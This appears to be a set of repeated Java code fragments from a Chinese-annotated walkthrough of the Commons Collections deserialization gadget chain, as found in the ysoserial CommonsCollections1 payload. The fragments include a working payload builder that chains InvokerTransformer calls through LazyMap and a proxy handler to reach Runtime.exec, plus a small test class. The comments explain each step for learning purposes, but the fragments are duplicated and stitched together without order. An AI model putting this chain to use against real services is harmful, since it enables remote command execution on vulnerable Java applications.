public InvocationHandler getObject(final String command)throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
public InvocationHandler getObject(final String command)throws Exception { // 传入的命令参数存储于execArgs数组中 final String[] execArgs = new String[] { command }; // 开始构造transformerChain,用于执行命令 // inert chain for setup // 这一步据p神所言是为了隐藏日志中的进程日常信息, 加不加都会执行命令,只是异常信息不同 final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup // 通过反射获得Runtime.exec(),并将命令参数execArgs传入 final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; // 修饰innerMap,将构造的transformerChain传入 // 当LayMap#get被调用时,会执行传入的transformerChain final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 将lazyMap传入AnnotationInvocationHandler // java代理sun.reflect.annotation.AnnotationInvocationHandler // 获得代理对象时,会再传入一个handler(简称handler2),得到代理对象mapProxy, final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); // 将该代理对象包裹进入新的handler,简称handler1 final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); // 最后将构造好的命令执行transformers传入transformerChain // 最后放是为了防止在构造payload时弹出计算器 Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain // 最后包装好的handler即为我们的payload return handler; }
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc"}); invokerTransformer.transform(Runtime.getRuntime());
// 通过反射获取Runtime,因为Class类实现了Serializable接口 // Method f = Runtime.class.getMethod("getRuntime"); // Runtime r = (Runtime) f.invoke(null); // r.exec("C:\\WINDOWS\\system32\\calc.exe" final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { // 返回java.lang.Runtime类 new ConstantTransformer(Runtime.class), //传入上面transform得到的Runtime类(Class对象),调用getMethod方法,传入调用getMethod方法方法参数为getRuntime;也就是获取该类的getRuntime方法 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), // 传入上面transform得到的getRuntime方法(Method对象),调用invoke方法,传入invoke方法的参数为Object[],其实就是按照参数列表传就好了,因为此处只需要调用invoke方法获得Runtime对象 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), // 传入上面transform得到的Runtime对象,调用exec方法,传入该方法的参数为execArgs new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
/** * My Test Class */ publicclassMTest{ publicstaticvoidmain(String[] args){ TestInvocationHandler handler = new TestInvocationHandler(); Map testProxy = (Map) Proxy.newProxyInstance(Gadgets.class.getClassLoader(), new Class[]{Map.class}, handler); testProxy.put("key","value"); } }